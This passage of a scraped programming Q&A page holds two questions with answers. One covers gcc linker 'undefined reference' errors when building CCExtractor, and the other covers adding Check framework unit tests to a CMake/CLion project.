│   │   │   ├── odf_dev.h
│   │   │   ├── odf_parse_common.h
│   │   │   └── ogg.h
│   │   ├── isomedia.h
│   │   ├── list.h
│   │   ├── math.h
│   │   ├── media_tools.h
│   │   ├── mpeg4_odf.h
│   │   ├── network.h
│   │   ├── revision.h
│   │   ├── setup.h
│   │   ├── sync_layer.h
│   │   ├── tools.h
│   │   ├── utf.h
│   │   └── version.h
│   ├── gpac_ogg.c
│   ├── hinting.c
│   ├── ipmpx_code.c
│   ├── ipmpx_parse.c
│   ├── isom_intern.c
│   ├── isom_read.c
│   ├── isom_store.c
│   ├── isom_write.c
│   ├── list.c
│   ├── math.c
│   ├── media.c
│   ├── media_odf.c
│   ├── meta.c
│   ├── movie_fragments.c
│   ├── mp4.c
│   ├── odf_code.c
│   ├── odf_codec.c
│   ├── odf_command.c
│   ├── os_config_init.c
│   ├── os_divers.c
│   ├── os_file.c
│   ├── qos.c
│   ├── ReadMe.txt
│   ├── sample_descs.c
│   ├── slc.c
│   ├── stbl_read.c
│   ├── stbl_write.c
│   ├── track.c
│   ├── tx3g.c
│   ├── url.c
│   └── utf.c
├── lib_ccx
│   ├── activity.c
│   ├── activity.h
│   ├── asf_constants.h
│   ├── asf_functions.c
│   ├── avc_functions.c
│   ├── avc_functions.h
│   ├── bitstream.h
│   ├── hamming.h
│   ├── hardsubx.c
│   ├── hardsubx_classifier.c
│   ├── hardsubx_decoder.c
│   ├── hardsubx.h
│   ├── hardsubx_imgops.c
│   ├── hardsubx_utility.c
│   ├── ts_functions.h
│   ├── ts_info.c
│   ├── ts_tables.c
│   ├── ts_tables_epg.c
│   ├── utility.c
│   ├── utility.h
│   ├── wtv_constants.h
│   └── wtv_functions.c
├── lib_hash
│   ├── README
│   ├── sha2.c
│   └── sha2.h
├── libpng
│   ├── png.c
│   ├── pngconf.h
│   ├── pngdebug.h
│   ├── pngerror.c
│   ├── pngget.c
│   ├── png.h
│   ├── pnginfo.h
│   └── pngwutil.c
├── protobuf-c
│   ├── protobuf-c.c
│   └── protobuf-c.h
├── utf8proc
│   ├── utf8proc.c
│   ├── utf8proc_data.c
│   └── utf8proc.h
├── win_iconv
│   ├── iconv.h
│   └── win_iconv.c
├── win_spec_incld
│   ├── dirent.h
│   ├── inttypes.h
│   └── stdint.h
├── zlib
│   ├── adler32.c
│   ├── compress.c
│   ├── crc32.c
│   ├── crc32.h
│   ├── trees.c
│   ├── trees.h
│   ├── uncompr.c
│   ├── zconf.h
│   ├── zlib.h
│   ├── zutil.c
│   └── zutil.h
└── zvbi
├── bcd.h
├── bit_slicer.c
├── bit_slicer.h
├── decoder.c
├── macros.h
├── misc.h
├── raw_decoder.c
├── raw_decoder.h
And also, all includes are done with full path in sub directories of src, like for a file in gpacmp4 directory, #include <gpac/avparse.h>. All but the main ccextractor.c file, for which all the -I flags are provided.
Even the slightest help is appreciated.
Here are some initial statements which make invokes:
gcc -DHAVE_CONFIG_H -I. -I /usr/include/leptonica/ -I /usr/include/tesseract/ -I src/lib_ccx/ -I src/gpacmp4/ -I src/libpng/ -I src/zlib/ -I src/zvbi/ -I src/lib_hash/ -I src/protobuf-c/ -I src/utf8proc/ -std=gnu99 -Wno-write-strings -DGPAC_CONFIG_LINUX -D_FILE_OFFSET_BITS=64 -DVERSION_FILE_PRESENT -DENABLE_OCR -g -O2 -MT src/ccextractor-ccextractor.o -MD -MP -MF src/.deps/ccextractor-ccextractor.Tpo -c -o src/ccextractor-ccextractor.o `test -f 'src/ccextractor.c' || echo './'`src/ccextractor.c
mv -f src/gpacmp4/.deps/ccextractor-avc_ext.Tpo src/gpacmp4/.deps/ccextractor-avc_ext.Po
gcc -DHAVE_CONFIG_H -I. -I /usr/include/leptonica/ -I /usr/include/tesseract/ -I src/lib_ccx/ -I src/gpacmp4/ -I src/libpng/ -I src/zlib/ -I src/zvbi/ -I src/lib_hash/ -I src/protobuf-c/ -I src/utf8proc/ -std=gnu99 -Wno-write-strings -DGPAC_CONFIG_LINUX -D_FILE_OFFSET_BITS=64 -DVERSION_FILE_PRESENT -DENABLE_OCR -g -O2 -MT src/gpacmp4/ccextractor-avilib.o -MD -MP -MF src/gpacmp4/.deps/ccextractor-avilib.Tpo -c -o src/gpacmp4/ccextractor-avilib.o `test -f 'src/gpacmp4/avilib.c' || echo './'`src/gpacmp4/avilib.c
mv -f src/gpacmp4/.deps/ccextractor-avilib.Tpo src/gpacmp4/.deps/ccextractor-avilib.Po
Statement which make invokes just before showing undefined reference errors:
gcc -std=gnu99 -Wno-write-strings -DGPAC_CONFIG_LINUX -D_FILE_OFFSET_BITS=64 -DVERSION_FILE_PRESENT -DENABLE_OCR -g -O2 -zmuldefs -o ccextractor src/ccextractor-ccextractor.o src/gpacmp4/ccextractor-avc_ext.o src/gpacmp4/ccextractor-avilib.o src/gpacmp4/ccextractor-av_parsers.o src/gpacmp4/ccextractor-base_encoding.o src/gpacmp4/ccextractor-bitstream.o src/gpacmp4/ccextractor-box_code_3gpp.o src/gpacmp4/ccextractor-box_code_adobe.o src/gpacmp4/ccextractor-box_code_apple.o src/gpacmp4/ccextractor-box_code_base.o src/gpacmp4/ccextractor-box_code_drm.o src/gpacmp4/ccextractor-box_code_meta.o src/gpacmp4/ccextractor-box_funcs.o src/gpacmp4/ccextractor-configfile.o src/gpacmp4/ccextractor-data_map.o src/gpacmp4/ccextractor-desc_private.o src/gpacmp4/ccextractor-descriptors.o src/gpacmp4/ccextractor-drm_sample.o src/gpacmp4/ccextractor-error.o -lm -ltesseract -llept
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/ccextractor.c:32: undefined reference to `mprint'
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/ccextractor.c:33: undefined reference to `change_filename_requested'
src/ccextractor-ccextractor.o: In function `main':
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/ccextractor.c:68: undefined reference to `init_options'
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/ccextractor.c:123: undefined reference to `params_dump'
src/gpacmp4/ccextractor-drm_sample.o: In function `gf_isom_ipmpx_remove_tool_list':
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/gpacmp4/drm_sample.c:1421: undefined reference to `gf_odf_desc_del'
collect2: error: ld returned 1 exit status
Makefile:497: recipe for target 'ccextractor' failed
make[1]: *** [ccextractor] Error 1
make[1]: Leaving directory '/media/mayank/Mayank/GSOC 2017/Projects/ccextractor'
Makefile:335: recipe for target 'all' failed
make: *** [all] Error 2
PS: Any help is appreciated.I tried many things including changing the path of the #include <path/to/header> statements in code and then adding -I statement for those path in CPPFLAGS but that didn't help either. Almost all the undefined reference errors are from the functions declared in the headers residing in subdirectories of directories in source like, src/dir/subdir the -I flags are added only till src/dir/ and then the files in src/dir/ have statements like #include<subdir/filename.h>.
PPS: I used grep -r "<Name_of_function_leading_to_error>" . in src to find out the declaration header.
Undefined references mean missing libraries or wrong library order. So changing -I flags has no effect.
Find out which library contains the symbols
Check if they are on the linker line and add them if they are missing
If they are on the linke line, verify that the order is correct

How can I use the check testing framework from Clion and Cmake?

I use the check testing framework to unit test my C code. The test when it's run looks like this.
$ checkmk tst_bquotes.check > bquotes-test.c
dac#dac-Latitude-E7450:~/kth/os/lab3/openshell$ gcc -Wall -o bquotes-test util.c errors.c bquotes-test.c -lcheck -lsubunit -lrt -pthread -lm
dac#dac-Latitude-E7450:~/kth/os/lab3/openshell$ ./bquotes-test
Running suite(s): Core
100%: Checks: 1, Failures: 0, Errors: 0
How can I add this test to my cmake build script?
cmake_minimum_required(VERSION 3.0)
project(shell.test)
if (EDITLINE_LIBRARIES AND EDITLINE_INCLUDE_DIRS)
set(Editline_FIND_QUIETLY TRUE)
endif (EDITLINE_LIBRARIES AND EDITLINE_INCLUDE_DIRS)
find_path(EDITLINE_INCLUDE_DIRS NAMES editline/readline.h)
find_library(EDITLINE_LIBRARIES NAMES edit)
include(FindPackageHandleStandardArgs)
FIND_PACKAGE_HANDLE_STANDARD_ARGS(Editline DEFAULT_MSG
EDITLINE_LIBRARIES
EDITLINE_INCLUDE_DIRS)
mark_as_advanced(EDITLINE_INCLUDE_DIRS EDITLINE_LIBRARIES)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -L/usr/local/include/ -L/usr/include -std=gnu99 -pedantic-errors -O3 -g -Wall -pedantic -ledit -ltermcap")
include_directories(/usr/local/include/ /usr/include)
link_directories(/usr/lib)
link_directories(/usr/local/lib)
add_executable(shell main.c errors.c util.c shellparser.c)
target_link_libraries(shell edit readline)
add_custom_target(shellparser DEPENDS ${CMAKE_SOURCE_DIR}/shellparser.c)
add_custom_command(OUTPUT ${CMAKE_SOURCE_DIR}/shellparser.c COMMAND lemon -s ${CMAKE_SOURCE_DIR}/shellparser.y DEPENDS ${CMAKE_SOURCE_DIR}/shellparser.y)
add_dependencies(shell shellparser)
My project structure looks like:
$ tree
.
├── bquotes-test
├── bquotes-test.c
├── CMakeLists.txt
├── CommandEntry.h
├── do.h
├── errors.c
├── errors.h
├── integrationtest.sh
├── lemon.c
├── lempar.c
├── LICENSE
├── main.c
├── Makefile
├── openshell.h
├── README.md
├── shellparser.c
├── shellparser.h
├── shellparser.out
├── shellparser.y
├── stresstest.sh
├── tst_bquotes.check
├── tst_exp.sh
├── types.h
├── unittest.sh
└── util.c
0 directories, 25 files
My check test is
#include "openshell.h"
#include "errors.h"
#test myQtest
fail_unless(isBetweenQuotes(11, "abc'asdqerfdsdxcvc'xc") == 1, "isBetweenQuotes function borked");
fail_unless(isBetweenQuotes(5, "This has no quotes") == 0, "isBetweenQuotes2 function borked");
fail_unless(isBetweenQuotes(11, "This' is a sentence in 'quotes") == 1, "isBetweenQuotes3 function borked");
fail_unless(isBetweenQuotes(15, "\"This is a sentence in quotes\"") == 1, "isBetweenQuotes4 function borked");
/* gcc -Wall -o bquotes-test util.c errors.c bquotes-test.c -lcheck -lsubunit -lrt -pthread -lm */
/* checkmk tst_bquotes.check > bquotes-test.c */
I would try this. Create an external linux shell script, which has the line
checkmk tst_bquotes.check > bquotes-test.c
in it and call it something like prepare_test.sh. Then, I would add these lines to your CMakeLists.txt at the end:
execute_process(
COMMAND ./prepare_test.sh
WORKING_DIRECTORY ${PROJECT_SOURCE_DIR}
RESULT_VARIABLE prep_test_result)
add_executable(bquotes-test util.c errors.c bquotes-test.c )
target_link_libraries(bquotes-test check subunit rt pthread m)
add_test(start_test_bquotes bquotes-test)
include(CTest)
After you've called cmake, you can then start the tests with make test.

Resources